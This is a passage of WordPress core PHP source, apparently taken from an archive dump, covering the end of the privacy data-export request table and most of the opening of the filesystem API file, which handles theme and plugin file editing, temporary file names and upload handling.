						__( 'Mark export request for &#8220;%s&#8221; as completed.' ),
						$item->email
					)
				),
				__( 'Complete request' )
			);
			$complete_request_markup .= '</span>';
		}

		if ( ! empty( $complete_request_markup ) ) {
			$row_actions['complete-request'] = $complete_request_markup;
		}

		return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( 'mailto:' . $item->email ), $item->email, $this->row_actions( $row_actions ) );
	}

	/**
	 * Displays the next steps column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 */
	public function column_next_steps( $item ) {
		$status = $item->status;

		switch ( $status ) {
			case 'request-pending':
				esc_html_e( 'Waiting for confirmation' );
				break;
			case 'request-confirmed':
				/** This filter is documented in wp-admin/includes/ajax-actions.php */
				$exporters       = apply_filters( 'wp_privacy_personal_data_exporters', array() );
				$exporters_count = count( $exporters );
				$request_id      = $item->ID;
				$nonce           = wp_create_nonce( 'wp-privacy-export-personal-data-' . $request_id );

				echo '<div class="export-personal-data" ' .
					'data-send-as-email="1" ' .
					'data-exporters-count="' . esc_attr( $exporters_count ) . '" ' .
					'data-request-id="' . esc_attr( $request_id ) . '" ' .
					'data-nonce="' . esc_attr( $nonce ) .
					'">';

				?>
				<span class="export-personal-data-idle"><button type="button" class="button-link export-personal-data-handle"><?php _e( 'Send export link' ); ?></button></span>
				<span class="export-personal-data-processing hidden"><?php _e( 'Sending email...' ); ?> <span class="export-progress"></span></span>
				<span class="export-personal-data-success success-message hidden"><?php _e( 'Email sent.' ); ?></span>
				<span class="export-personal-data-failed hidden"><?php _e( 'Email could not be sent.' ); ?> <button type="button" class="button-link export-personal-data-handle"><?php _e( 'Retry' ); ?></button></span>
				<?php

				echo '</div>';
				break;
			case 'request-failed':
				echo '<button type="submit" class="button-link" name="privacy_action_email_retry[' . $item->ID . ']" id="privacy_action_email_retry[' . $item->ID . ']">' . __( 'Retry' ) . '</button>';
				break;
			case 'request-completed':
				echo '<a href="' . esc_url(
					wp_nonce_url(
						add_query_arg(
							array(
								'action'     => 'delete',
								'request_id' => array( $item->ID ),
							),
							admin_url( 'export-personal-data.php' )
						),
						'bulk-privacy_requests'
					)
				) . '">' . esc_html__( 'Remove request' ) . '</a>';
				break;
		}
	}
}
file.php000064400000300103150275632050006176 0ustar00<?php
/**
 * Filesystem API: Top-level functionality
 *
 * Functions for reading, writing, modifying, and deleting files on the file system.
 * Includes functionality for theme-specific files as well as operations for uploading,
 * archiving, and rendering output when necessary.
 *
 * @package WordPress
 * @subpackage Filesystem
 * @since 2.3.0
 */

/** The descriptions for theme files. */
$wp_file_descriptions = array(
	'functions.php'         => __( 'Theme Functions' ),
	'header.php'            => __( 'Theme Header' ),
	'footer.php'            => __( 'Theme Footer' ),
	'sidebar.php'           => __( 'Sidebar' ),
	'comments.php'          => __( 'Comments' ),
	'searchform.php'        => __( 'Search Form' ),
	'404.php'               => __( '404 Template' ),
	'link.php'              => __( 'Links Template' ),
	'theme.json'            => __( 'Theme Styles & Block Settings' ),
	// Archives.
	'index.php'             => __( 'Main Index Template' ),
	'archive.php'           => __( 'Archives' ),
	'author.php'            => __( 'Author Template' ),
	'taxonomy.php'          => __( 'Taxonomy Template' ),
	'category.php'          => __( 'Category Template' ),
	'tag.php'               => __( 'Tag Template' ),
	'home.php'              => __( 'Posts Page' ),
	'search.php'            => __( 'Search Results' ),
	'date.php'              => __( 'Date Template' ),
	// Content.
	'singular.php'          => __( 'Singular Template' ),
	'single.php'            => __( 'Single Post' ),
	'page.php'              => __( 'Single Page' ),
	'front-page.php'        => __( 'Homepage' ),
	'privacy-policy.php'    => __( 'Privacy Policy Page' ),
	// Attachments.
	'attachment.php'        => __( 'Attachment Template' ),
	'image.php'             => __( 'Image Attachment Template' ),
	'video.php'             => __( 'Video Attachment Template' ),
	'audio.php'             => __( 'Audio Attachment Template' ),
	'application.php'       => __( 'Application Attachment Template' ),
	// Embeds.
	'embed.php'             => __( 'Embed Template' ),
	'embed-404.php'         => __( 'Embed 404 Template' ),
	'embed-content.php'     => __( 'Embed Content Template' ),
	'header-embed.php'      => __( 'Embed Header Template' ),
	'footer-embed.php'      => __( 'Embed Footer Template' ),
	// Stylesheets.
	'style.css'             => __( 'Stylesheet' ),
	'editor-style.css'      => __( 'Visual Editor Stylesheet' ),
	'editor-style-rtl.css'  => __( 'Visual Editor RTL Stylesheet' ),
	'rtl.css'               => __( 'RTL Stylesheet' ),
	// Other.
	'my-hacks.php'          => __( 'my-hacks.php (legacy hacks support)' ),
	'.htaccess'             => __( '.htaccess (for rewrite rules )' ),
	// Deprecated files.
	'wp-layout.css'         => __( 'Stylesheet' ),
	'wp-comments.php'       => __( 'Comments Template' ),
	'wp-comments-popup.php' => __( 'Popup Comments Template' ),
	'comments-popup.php'    => __( 'Popup Comments' ),
);

/**
 * Gets the description for standard WordPress theme files.
 *
 * @since 1.5.0
 *
 * @global array $wp_file_descriptions Theme file descriptions.
 * @global array $allowed_files        List of allowed files.
 *
 * @param string $file Filesystem path or filename.
 * @return string Description of file from $wp_file_descriptions or basename of $file if description doesn't exist.
 *                Appends 'Page Template' to basename of $file if the file is a page template.
 */
function get_file_description( $file ) {
	global $wp_file_descriptions, $allowed_files;

	$dirname   = pathinfo( $file, PATHINFO_DIRNAME );
	$file_path = $allowed_files[ $file ];

	if ( isset( $wp_file_descriptions[ basename( $file ) ] ) && '.' === $dirname ) {
		return $wp_file_descriptions[ basename( $file ) ];
	} elseif ( file_exists( $file_path ) && is_file( $file_path ) ) {
		$template_data = implode( '', file( $file_path ) );

		if ( preg_match( '|Template Name:(.*)$|mi', $template_data, $name ) ) {
			/* translators: %s: Template name. */
			return sprintf( __( '%s Page Template' ), _cleanup_header_comment( $name[1] ) );
		}
	}

	return trim( basename( $file ) );
}

/**
 * Gets the absolute filesystem path to the root of the WordPress installation.
 *
 * @since 1.5.0
 *
 * @return string Full filesystem path to the root of the WordPress installation.
 */
function get_home_path() {
	$home    = set_url_scheme( get_option( 'home' ), 'http' );
	$siteurl = set_url_scheme( get_option( 'siteurl' ), 'http' );

	if ( ! empty( $home ) && 0 !== strcasecmp( $home, $siteurl ) ) {
		$wp_path_rel_to_home = str_ireplace( $home, '', $siteurl ); /* $siteurl - $home */
		$pos                 = strripos( str_replace( '\\', '/', $_SERVER['SCRIPT_FILENAME'] ), trailingslashit( $wp_path_rel_to_home ) );
		$home_path           = substr( $_SERVER['SCRIPT_FILENAME'], 0, $pos );
		$home_path           = trailingslashit( $home_path );
	} else {
		$home_path = ABSPATH;
	}

	return str_replace( '\\', '/', $home_path );
}

/**
 * Returns a listing of all files in the specified folder and all subdirectories up to 100 levels deep.
 *
 * The depth of the recursiveness can be controlled by the $levels param.
 *
 * @since 2.6.0
 * @since 4.9.0 Added the `$exclusions` parameter.
 * @since 6.3.0 Added the `$include_hidden` parameter.
 *
 * @param string   $folder         Optional. Full path to folder. Default empty.
 * @param int      $levels         Optional. Levels of folders to follow, Default 100 (PHP Loop limit).
 * @param string[] $exclusions     Optional. List of folders and files to skip.
 * @param bool     $include_hidden Optional. Whether to include details of hidden ("." prefixed) files.
 *                                 Default false.
 * @return string[]|false Array of files on success, false on failure.
 */
function list_files( $folder = '', $levels = 100, $exclusions = array(), $include_hidden = false ) {
	if ( empty( $folder ) ) {
		return false;
	}

	$folder = trailingslashit( $folder );

	if ( ! $levels ) {
		return false;
	}

	$files = array();

	$dir = @opendir( $folder );

	if ( $dir ) {
		while ( ( $file = readdir( $dir ) ) !== false ) {
			// Skip current and parent folder links.
			if ( in_array( $file, array( '.', '..' ), true ) ) {
				continue;
			}

			// Skip hidden and excluded files.
			if ( ( ! $include_hidden && '.' === $file[0] ) || in_array( $file, $exclusions, true ) ) {
				continue;
			}

			if ( is_dir( $folder . $file ) ) {
				$files2 = list_files( $folder . $file, $levels - 1, array(), $include_hidden );
				if ( $files2 ) {
					$files = array_merge( $files, $files2 );
				} else {
					$files[] = $folder . $file . '/';
				}
			} else {
				$files[] = $folder . $file;
			}
		}

		closedir( $dir );
	}

	return $files;
}

/**
 * Gets the list of file extensions that are editable in plugins.
 *
 * @since 4.9.0
 *
 * @param string $plugin Path to the plugin file relative to the plugins directory.
 * @return string[] Array of editable file extensions.
 */
function wp_get_plugin_file_editable_extensions( $plugin ) {

	$default_types = array(
		'bash',
		'conf',
		'css',
		'diff',
		'htm',
		'html',
		'http',
		'inc',
		'include',
		'js',
		'json',
		'jsx',
		'less',
		'md',
		'patch',
		'php',
		'php3',
		'php4',
		'php5',
		'php7',
		'phps',
		'phtml',
		'sass',
		'scss',
		'sh',
		'sql',
		'svg',
		'text',
		'txt',
		'xml',
		'yaml',
		'yml',
	);

	/**
	 * Filters the list of file types allowed for editing in the plugin file editor.
	 *
	 * @since 2.8.0
	 * @since 4.9.0 Added the `$plugin` parameter.
	 *
	 * @param string[] $default_types An array of editable plugin file extensions.
	 * @param string   $plugin        Path to the plugin file relative to the plugins directory.
	 */
	$file_types = (array) apply_filters( 'editable_extensions', $default_types, $plugin );

	return $file_types;
}

/**
 * Gets the list of file extensions that are editable for a given theme.
 *
 * @since 4.9.0
 *
 * @param WP_Theme $theme Theme object.
 * @return string[] Array of editable file extensions.
 */
function wp_get_theme_file_editable_extensions( $theme ) {

	$default_types = array(
		'bash',
		'conf',
		'css',
		'diff',
		'htm',
		'html',
		'http',
		'inc',
		'include',
		'js',
		'json',
		'jsx',
		'less',
		'md',
		'patch',
		'php',
		'php3',
		'php4',
		'php5',
		'php7',
		'phps',
		'phtml',
		'sass',
		'scss',
		'sh',
		'sql',
		'svg',
		'text',
		'txt',
		'xml',
		'yaml',
		'yml',
	);

	/**
	 * Filters the list of file types allowed for editing in the theme file editor.
	 *
	 * @since 4.4.0
	 *
	 * @param string[] $default_types An array of editable theme file extensions.
	 * @param WP_Theme $theme         The active theme object.
	 */
	$file_types = apply_filters( 'wp_theme_editor_filetypes', $default_types, $theme );

	// Ensure that default types are still there.
	return array_unique( array_merge( $file_types, $default_types ) );
}

/**
 * Prints file editor templates (for plugins and themes).
 *
 * @since 4.9.0
 */
function wp_print_file_editor_templates() {
	?>
	<script type="text/html" id="tmpl-wp-file-editor-notice">
		<div class="notice inline notice-{{ data.type || 'info' }} {{ data.alt ? 'notice-alt' : '' }} {{ data.dismissible ? 'is-dismissible' : '' }} {{ data.classes || '' }}">
			<# if ( 'php_error' === data.code ) { #>
				<p>
					<?php
					printf(
						/* translators: 1: Line number, 2: File path. */
						__( 'Your PHP code changes were not applied due to an error on line %1$s of file %2$s. Please fix and try saving again.' ),
						'{{ data.line }}',
						'{{ data.file }}'
					);
					?>
				</p>
				<pre>{{ data.message }}</pre>
			<# } else if ( 'file_not_writable' === data.code ) { #>
				<p>
					<?php
					printf(
						/* translators: %s: Documentation URL. */
						__( 'You need to make this file writable before you can save your changes. See <a href="%s">Changing File Permissions</a> for more information.' ),
						__( 'https://wordpress.org/documentation/article/changing-file-permissions/' )
					);
					?>
				</p>
			<# } else { #>
				<p>{{ data.message || data.code }}</p>

				<# if ( 'lint_errors' === data.code ) { #>
					<p>
						<# var elementId = 'el-' + String( Math.random() ); #>
						<input id="{{ elementId }}"  type="checkbox">
						<label for="{{ elementId }}"><?php _e( 'Update anyway, even though it might break your site?' ); ?></label>
					</p>
				<# } #>
			<# } #>
			<# if ( data.dismissible ) { #>
				<button type="button" class="notice-dismiss"><span class="screen-reader-text">
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Dismiss' );
					?>
				</span></button>
			<# } #>
		</div>
	</script>
	<?php
}

/**
 * Attempts to edit a file for a theme or plugin.
 *
 * When editing a PHP file, loopback requests will be made to the admin and the homepage
 * to attempt to see if there is a fatal error introduced. If so, the PHP change will be
 * reverted.
 *
 * @since 4.9.0
 *
 * @param string[] $args {
 *     Args. Note that all of the arg values are already unslashed. They are, however,
 *     coming straight from `$_POST` and are not validated or sanitized in any way.
 *
 *     @type string $file       Relative path to file.
 *     @type string $plugin     Path to the plugin file relative to the plugins directory.
 *     @type string $theme      Theme being edited.
 *     @type string $newcontent New content for the file.
 *     @type string $nonce      Nonce.
 * }
 * @return true|WP_Error True on success or `WP_Error` on failure.
 */
function wp_edit_theme_plugin_file( $args ) {
	if ( empty( $args['file'] ) ) {
		return new WP_Error( 'missing_file' );
	}

	if ( 0 !== validate_file( $args['file'] ) ) {
		return new WP_Error( 'bad_file' );
	}

	if ( ! isset( $args['newcontent'] ) ) {
		return new WP_Error( 'missing_content' );
	}

	if ( ! isset( $args['nonce'] ) ) {
		return new WP_Error( 'missing_nonce' );
	}

	$file    = $args['file'];
	$content = $args['newcontent'];

	$plugin    = null;
	$theme     = null;
	$real_file = null;

	if ( ! empty( $args['plugin'] ) ) {
		$plugin = $args['plugin'];

		if ( ! current_user_can( 'edit_plugins' ) ) {
			return new WP_Error( 'unauthorized', __( 'Sorry, you are not allowed to edit plugins for this site.' ) );
		}

		if ( ! wp_verify_nonce( $args['nonce'], 'edit-plugin_' . $file ) ) {
			return new WP_Error( 'nonce_failure' );
		}

		if ( ! array_key_exists( $plugin, get_plugins() ) ) {
			return new WP_Error( 'invalid_plugin' );
		}

		if ( 0 !== validate_file( $file, get_plugin_files( $plugin ) ) ) {
			return new WP_Error( 'bad_plugin_file_path', __( 'Sorry, that file cannot be edited.' ) );
		}

		$editable_extensions = wp_get_plugin_file_editable_extensions( $plugin );

		$real_file = WP_PLUGIN_DIR . '/' . $file;

		$is_active = in_array(
			$plugin,
			(array) get_option( 'active_plugins', array() ),
			true
		);

	} elseif ( ! empty( $args['theme'] ) ) {
		$stylesheet = $args['theme'];

		if ( 0 !== validate_file( $stylesheet ) ) {
			return new WP_Error( 'bad_theme_path' );
		}

		if ( ! current_user_can( 'edit_themes' ) ) {
			return new WP_Error( 'unauthorized', __( 'Sorry, you are not allowed to edit templates for this site.' ) );
		}

		$theme = wp_get_theme( $stylesheet );
		if ( ! $theme->exists() ) {
			return new WP_Error( 'non_existent_theme', __( 'The requested theme does not exist.' ) );
		}

		if ( ! wp_verify_nonce( $args['nonce'], 'edit-theme_' . $stylesheet . '_' . $file ) ) {
			return new WP_Error( 'nonce_failure' );
		}

		if ( $theme->errors() && 'theme_no_stylesheet' === $theme->errors()->get_error_code() ) {
			return new WP_Error(
				'theme_no_stylesheet',
				__( 'The requested theme does not exist.' ) . ' ' . $theme->errors()->get_error_message()
			);
		}

		$editable_extensions = wp_get_theme_file_editable_extensions( $theme );

		$allowed_files = array();
		foreach ( $editable_extensions as $type ) {
			switch ( $type ) {
				case 'php':
					$allowed_files = array_merge( $allowed_files, $theme->get_files( 'php', -1 ) );
					break;
				case 'css':
					$style_files                = $theme->get_files( 'css', -1 );
					$allowed_files['style.css'] = $style_files['style.css'];
					$allowed_files              = array_merge( $allowed_files, $style_files );
					break;
				default:
					$allowed_files = array_merge( $allowed_files, $theme->get_files( $type, -1 ) );
					break;
			}
		}

		// Compare based on relative paths.
		if ( 0 !== validate_file( $file, array_keys( $allowed_files ) ) ) {
			return new WP_Error( 'disallowed_theme_file', __( 'Sorry, that file cannot be edited.' ) );
		}

		$real_file = $theme->get_stylesheet_directory() . '/' . $file;

		$is_active = ( get_stylesheet() === $stylesheet || get_template() === $stylesheet );

	} else {
		return new WP_Error( 'missing_theme_or_plugin' );
	}

	// Ensure file is real.
	if ( ! is_file( $real_file ) ) {
		return new WP_Error( 'file_does_not_exist', __( 'File does not exist! Please double check the name and try again.' ) );
	}

	// Ensure file extension is allowed.
	$extension = null;
	if ( preg_match( '/\.([^.]+)$/', $real_file, $matches ) ) {
		$extension = strtolower( $matches[1] );
		if ( ! in_array( $extension, $editable_extensions, true ) ) {
			return new WP_Error( 'illegal_file_type', __( 'Files of this type are not editable.' ) );
		}
	}

	$previous_content = file_get_contents( $real_file );

	if ( ! is_writable( $real_file ) ) {
		return new WP_Error( 'file_not_writable' );
	}

	$f = fopen( $real_file, 'w+' );

	if ( false === $f ) {
		return new WP_Error( 'file_not_writable' );
	}

	$written = fwrite( $f, $content );
	fclose( $f );

	if ( false === $written ) {
		return new WP_Error( 'unable_to_write', __( 'Unable to write to file.' ) );
	}

	wp_opcache_invalidate( $real_file, true );

	if ( $is_active && 'php' === $extension ) {

		$scrape_key   = md5( rand() );
		$transient    = 'scrape_key_' . $scrape_key;
		$scrape_nonce = (string) rand();
		// It shouldn't take more than 60 seconds to make the two loopback requests.
		set_transient( $transient, $scrape_nonce, 60 );

		$cookies       = wp_unslash( $_COOKIE );
		$scrape_params = array(
			'wp_scrape_key'   => $scrape_key,
			'wp_scrape_nonce' => $scrape_nonce,
		);
		$headers       = array(
			'Cache-Control' => 'no-cache',
		);

		/** This filter is documented in wp-includes/class-wp-http-streams.php */
		$sslverify = apply_filters( 'https_local_ssl_verify', false );

		// Include Basic auth in loopback requests.
		if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
			$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
		}

		// Make sure PHP process doesn't die before loopback requests complete.
		if ( function_exists( 'set_time_limit' ) ) {
			set_time_limit( 5 * MINUTE_IN_SECONDS );
		}

		// Time to wait for loopback requests to finish.
		$timeout = 100; // 100 seconds.

		$needle_start = "###### wp_scraping_result_start:$scrape_key ######";
		$needle_end   = "###### wp_scraping_result_end:$scrape_key ######";

		// Attempt loopback request to editor to see if user just whitescreened themselves.
		if ( $plugin ) {
			$url = add_query_arg( compact( 'plugin', 'file' ), admin_url( 'plugin-editor.php' ) );
		} elseif ( isset( $stylesheet ) ) {
			$url = add_query_arg(
				array(
					'theme' => $stylesheet,
					'file'  => $file,
				),
				admin_url( 'theme-editor.php' )
			);
		} else {
			$url = admin_url();
		}

		if ( function_exists( 'session_status' ) && PHP_SESSION_ACTIVE === session_status() ) {
			/*
			 * Close any active session to prevent HTTP requests from timing out
			 * when attempting to connect back to the site.
			 */
			session_write_close();
		}

		$url                    = add_query_arg( $scrape_params, $url );
		$r                      = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout', 'sslverify' ) );
		$body                   = wp_remote_retrieve_body( $r );
		$scrape_result_position = strpos( $body, $needle_start );

		$loopback_request_failure = array(
			'code'    => 'loopback_request_failed',
			'message' => __( 'Unable to communicate back with site to check for fatal errors, so the PHP change was reverted. You will need to upload your PHP file change by some other means, such as by using SFTP.' ),
		);
		$json_parse_failure       = array(
			'code' => 'json_parse_error',
		);

		$result = null;

		if ( false === $scrape_result_position ) {
			$result = $loopback_request_failure;
		} else {
			$error_output = substr( $body, $scrape_result_position + strlen( $needle_start ) );
			$error_output = substr( $error_output, 0, strpos( $error_output, $needle_end ) );
			$result       = json_decode( trim( $error_output ), true );
			if ( empty( $result ) ) {
				$result = $json_parse_failure;
			}
		}

		// Try making request to homepage as well to see if visitors have been whitescreened.
		if ( true === $result ) {
			$url                    = home_url( '/' );
			$url                    = add_query_arg( $scrape_params, $url );
			$r                      = wp_remote_get( $url, compact( 'cookies', 'headers', 'timeout', 'sslverify' ) );
			$body                   = wp_remote_retrieve_body( $r );
			$scrape_result_position = strpos( $body, $needle_start );

			if ( false === $scrape_result_position ) {
				$result = $loopback_request_failure;
			} else {
				$error_output = substr( $body, $scrape_result_position + strlen( $needle_start ) );
				$error_output = substr( $error_output, 0, strpos( $error_output, $needle_end ) );
				$result       = json_decode( trim( $error_output ), true );
				if ( empty( $result ) ) {
					$result = $json_parse_failure;
				}
			}
		}

		delete_transient( $transient );

		if ( true !== $result ) {
			// Roll-back file change.
			file_put_contents( $real_file, $previous_content );
			wp_opcache_invalidate( $real_file, true );

			if ( ! isset( $result['message'] ) ) {
				$message = __( 'Something went wrong.' );
			} else {
				$message = $result['message'];
				unset( $result['message'] );
			}

			return new WP_Error( 'php_error', $message, $result );
		}
	}

	if ( $theme instanceof WP_Theme ) {
		$theme->cache_delete();
	}

	return true;
}


/**
 * Returns a filename of a temporary unique file.
 *
 * Please note that the calling function must unlink() this itself.
 *
 * The filename is based off the passed parameter or defaults to the current unix timestamp,
 * while the directory can either be passed as well, or by leaving it blank, default to a writable
 * temporary directory.
 *
 * @since 2.6.0
 *
 * @param string $filename Optional. Filename to base the Unique file off. Default empty.
 * @param string $dir      Optional. Directory to store the file in. Default empty.
 * @return string A writable filename.
 */
function wp_tempnam( $filename = '', $dir = '' ) {
	if ( empty( $dir ) ) {
		$dir = get_temp_dir();
	}

	if ( empty( $filename ) || in_array( $filename, array( '.', '/', '\\' ), true ) ) {
		$filename = uniqid();
	}

	// Use the basename of the given file without the extension as the name for the temporary directory.
	$temp_filename = basename( $filename );
	$temp_filename = preg_replace( '|\.[^.]*$|', '', $temp_filename );

	// If the folder is falsey, use its parent directory name instead.
	if ( ! $temp_filename ) {
		return wp_tempnam( dirname( $filename ), $dir );
	}

	// Suffix some random data to avoid filename conflicts.
	$temp_filename .= '-' . wp_generate_password( 6, false );
	$temp_filename .= '.tmp';
	$temp_filename  = wp_unique_filename( $dir, $temp_filename );

	/*
	 * Filesystems typically have a limit of 255 characters for a filename.
	 *
	 * If the generated unique filename exceeds this, truncate the initial
	 * filename and try again.
	 *
	 * As it's possible that the truncated filename may exist, producing a
	 * suffix of "-1" or "-10" which could exceed the limit again, truncate
	 * it to 252 instead.
	 */
	$characters_over_limit = strlen( $temp_filename ) - 252;
	if ( $characters_over_limit > 0 ) {
		$filename = substr( $filename, 0, -$characters_over_limit );
		return wp_tempnam( $filename, $dir );
	}

	$temp_filename = $dir . $temp_filename;

	$fp = @fopen( $temp_filename, 'x' );

	if ( ! $fp && is_writable( $dir ) && file_exists( $temp_filename ) ) {
		return wp_tempnam( $filename, $dir );
	}

	if ( $fp ) {
		fclose( $fp );
	}

	return $temp_filename;
}

/**
 * Makes sure that the file that was requested to be edited is allowed to be edited.
 *
 * Function will die if you are not allowed to edit the file.
 *
 * @since 1.5.0
 *
 * @param string   $file          File the user is attempting to edit.
 * @param string[] $allowed_files Optional. Array of allowed files to edit.
 *                                `$file` must match an entry exactly.
 * @return string|void Returns the file name on success, dies on failure.
 */
function validate_file_to_edit( $file, $allowed_files = array() ) {
	$code = validate_file( $file, $allowed_files );

	if ( ! $code ) {
		return $file;
	}

	switch ( $code ) {
		case 1:
			wp_die( __( 'Sorry, that file cannot be edited.' ) );

			// case 2 :
			// wp_die( __('Sorry, cannot call files with their real path.' ));

		case 3:
			wp_die( __( 'Sorry, that file cannot be edited.' ) );
	}
}

/**
 * Handles PHP uploads in WordPress.
 *
 * Sanitizes file names, checks extensions for mime type, and moves the file
 * to the appropriate directory within the uploads directory.
 *
 * @access private
 * @since 4.0.0
 *
 * @see wp_handle_upload_error
 *
 * @param array       $file      {
 *     Reference to a single element from `$_FILES`. Call the function once for each uploaded file.
 *
 *     @type string $name     The original name of the file on the client machine.
 *     @type string $type     The mime type of the file, if the browser provided this information.
 *     @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
 *     @type int    $size     The size, in bytes, of the uploaded file.
 *     @type int    $error    The error code associated with this file upload.
 * }
 * @param array|false $overrides {
 *     An array of override parameters for this file, or boolean false if none are provided.
 *
 *     @type callable $upload_error_handler     Function to call when there is an error during the upload process.
 *                                              See {@see wp_handle_upload_error()}.
 *     @type callable $unique_filename_callback Function to call when determining a unique file name for the file.
 *                                              See {@see wp_unique_filename()}.
 *     @type string[] $upload_error_strings     The strings that describe the error indicated in
 *                                              `$_FILES[{form field}]['error']`.
 *     @type bool     $test_form                Whether to test that the `$_POST['action']` parameter is as expected.
 *     @type bool     $test_size                Whether to test that the file size is greater than zero bytes.
 *     @type bool     $test_type                Whether to test that the mime type of the file is as expected.
 *     @type string[] $mimes                    Array of allowed mime types keyed by their file extension regex.
 * }
 * @param string      $time      Time formatted in 'yyyy/mm'.
 * @param string      $action    Expected value for `$_POST['action']`.
 * @return array {
 *     On success, returns an associative array of file attributes.
 *     On failure, returns `$overrides['upload_error_handler']( &$file, $message )`
 *     or `array( 'error' => $message )`.
 *
 *     @type string $file Filename of the newly-uploaded file.
 *     @type string $url  URL of the newly-uploaded file.
 *     @type string $type Mime type of the newly-uploaded file.
 * }
 */
function _wp_handle_upload( &$file, $overrides, $time, $action ) {
	// The default error handler.
	if ( ! function_exists( 'wp_handle_upload_error' ) ) {
		function wp_handle_upload_error( &$file, $message ) {
			return array( 'error' => $message );
		}
	}

	/**
	 * Filters the data for a file before it is uploaded to WordPress.
	 *
	 * The dynamic portion of the hook name, `$action`, refers to the post action.
	 *
	 * Possible hook names include:
	 *
	 *  - `wp_handle_sideload_prefilter`
	 *  - `wp_handle_upload_prefilter`
	 *
	 * @since 2.9.0 as 'wp_handle_upload_prefilter'.
	 * @since 4.0.0 Converted to a dynamic hook with `$action`.
	 *
	 * @param array $file {
	 *     Reference to a single element from `$_FILES`.
	 *
	 *     @type string $name     The original name of the file on the client machine.
	 *     @type string $type     The mime type of the file, if the browser provided this information.
	 *     @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
	 *     @type int    $size     The size, in bytes, of the uploaded file.
	 *     @type int    $error    The error code associated with this file upload.
	 * }
	 */
	$file = apply_filters( "{$action}_prefilter", $file );

	/**
	 * Filters the override parameters for a file before it is uploaded to WordPress.
	 *
	 * The dynamic portion of the hook name, `$action`, refers to the post action.
	 *
	 * Possible hook names include:
	 *
	 *  - `wp_handle_sideload_overrides`
	 *  - `wp_handle_upload_overrides`
	 *
	 * @since 5.7.0
	 *
	 * @param array|false $overrides An array of override parameters for this file. Boolean false if none are
	 *                               provided. See {@see _wp_handle_upload()}.
	 * @param array       $file      {
	 *     Reference to a single element from `$_FILES`.
	 *
	 *     @type string $name     The original name of the file on the client machine.
	 *     @type string $type     The mime type of the file, if the browser provided this information.
	 *     @type string $tmp_name The temporary filename of the file in which the uploaded file was stored on the server.
	 *     @type int    $size     The size, in bytes, of the uploaded file.
	 *     @type int    $error    The error code associated with this file upload.
	 * }
	 */
	$overrides = apply_filters( "{$action}_overrides", $overrides, $file );

	// You may define your own function and pass the name in $overrides['upload_error_handler'].
	$upload_error_handler = 'wp_handle_upload_error';
	if ( isset( $overrides['upload_error_handler'] ) ) {
		$upload_error_handler = $overrides['upload_error_handler'];
	}

	// You may have had one or more 'wp_handle_upload_prefilter' functions error out the file. Handle that gracefully.
	if ( isset( $file['error'] ) && ! is_numeric( $file['error'] ) && $file['error'] ) {
		return call_user_func_array( $upload_error_handler, array( &$file, $file['error'] ) );
	}

	// Install user overrides. Did we mention that this voids your warranty?

	// You may define your own function and pass the name in $overrides['unique_filename_callback'].
	$unique_filename_callback = null;
	if ( isset( $overrides['unique_filename_callback'] ) ) {
		$unique_filename_callback = $overrides['unique_filename_callback'];
	}

	/*
	 * This may not have originally been intended to be overridable,
	 * but historically has been.
	 */
	if ( isset( $overrides['upload_error_strings'] ) ) {
		$upload_error_strings = $overrides['upload_error_strings'];
	} else {
		// Courtesy of php.net, the strings that describe the error indicated in $_FILES[{form field}]['error'].
		$upload_error_strings = array(
			false,
			sprintf(
				/* translators: 1: upload_max_filesize, 2: php.ini */
				__( 'The uploaded file exceeds the %1$s directive in %2$s.' ),
				'upload_max_filesize',
				'php.ini'
			),
			sprintf(
				/* translators: %s: MAX_FILE_SIZE */
				__( 'The uploaded file exceeds the %s directive that was specified in the HTML form.' ),
				'MAX_FILE_SIZE'
			),
			__( 'The uploaded file was only partially uploaded.' ),
			__( 'No file was uploaded.' ),
			'',
			__( 'Missing a temporary folder.' ),
			__( 'Failed to write file to disk.' ),
			__( 'File upload stopped by extension.' ),
		);
	}

	// All tests are on by default. Most can be turned off by $overrides[{test_name}] = false;
	$test_form = isset( $overrides['test_form'] ) ? $overrides['test_form'] : true;
	$test_size = isset( $overrides['test_size'] ) ? $overrides['test_size'] : true;

	// If you override this, you must provide $ext and $type!!
	$test_type = isset( $overrides['test_type'] ) ? $overrides['test_type'] : true;
	$mimes     = isset( $overrides['mimes'] ) ? $overrides['mimes'] : null;

	// A correct form post will pass this test.
	if ( $test_form && ( ! isset( $_POST['action'] ) || $_POST['action'] !== $action ) ) {
		return call_user_func_array( $upload_error_handler, array( &$file, __( 'Invalid form submission.' ) ) );
	}

	// A successful upload will pass this test. It makes no sense to override this one.
	if ( isset( $file['error'] ) && $file['error'] > 0 ) {
		return call_user_func_array( $upload_error_handler, array( &$file, $upload_error_strings[ $file['error'] ] ) );
	}

	// A properly uploaded file will pass this test. There should be no reason to override this one.
	$test_uploaded_file = 'wp_handle_upload' === $action ? is_uploaded_file( $file['tmp_name'] ) : @is_readable( $file['tmp_name'] );
	if ( ! $test_uploaded_file ) {
		return call_user_func_array( $upload_error_handler, array( &$file, __( 'Specified file failed upload test.' ) ) );
	}

	$test_file_size = 'wp_handle_upload' === $action ? $file['size'] : filesize( $file['tmp_name'] );
	// A non-empty file will pass this test.
	if ( $test_size && ! ( $test_file_size > 0 ) ) {
		if ( is_multisite() ) {
			$error_msg = __( 'File is empty. Please upload something more substantial.' );
		} else {
			$error_msg = sprintf(
				/* translators: 1: php.ini, 2: post_max_size, 3: upload_max_filesize */
				__( 'File is empty. Please upload something more substantial. This error could also be caused by uploads being disabled in your %1$s file or by %2$s being defined as smaller than %3$s in %1$s.' ),
				'php.ini',
				'post_max_size',
				'upload_max_filesize'
			);
		}

		return call_user_func_array( $upload_error_handler, array( &$file, $error_msg ) );
	}

	// A correct MIME type will pass this test. Override $mimes or use the upload_mimes filter.
	if ( $test_type ) {
		$wp_filetype     = wp_check_filetype_and_ext( $file['tmp_name'], $file['name'], $mimes );
		$ext             = empty( $wp_filetype['ext'] ) ? '' : $wp_filetype['ext'];
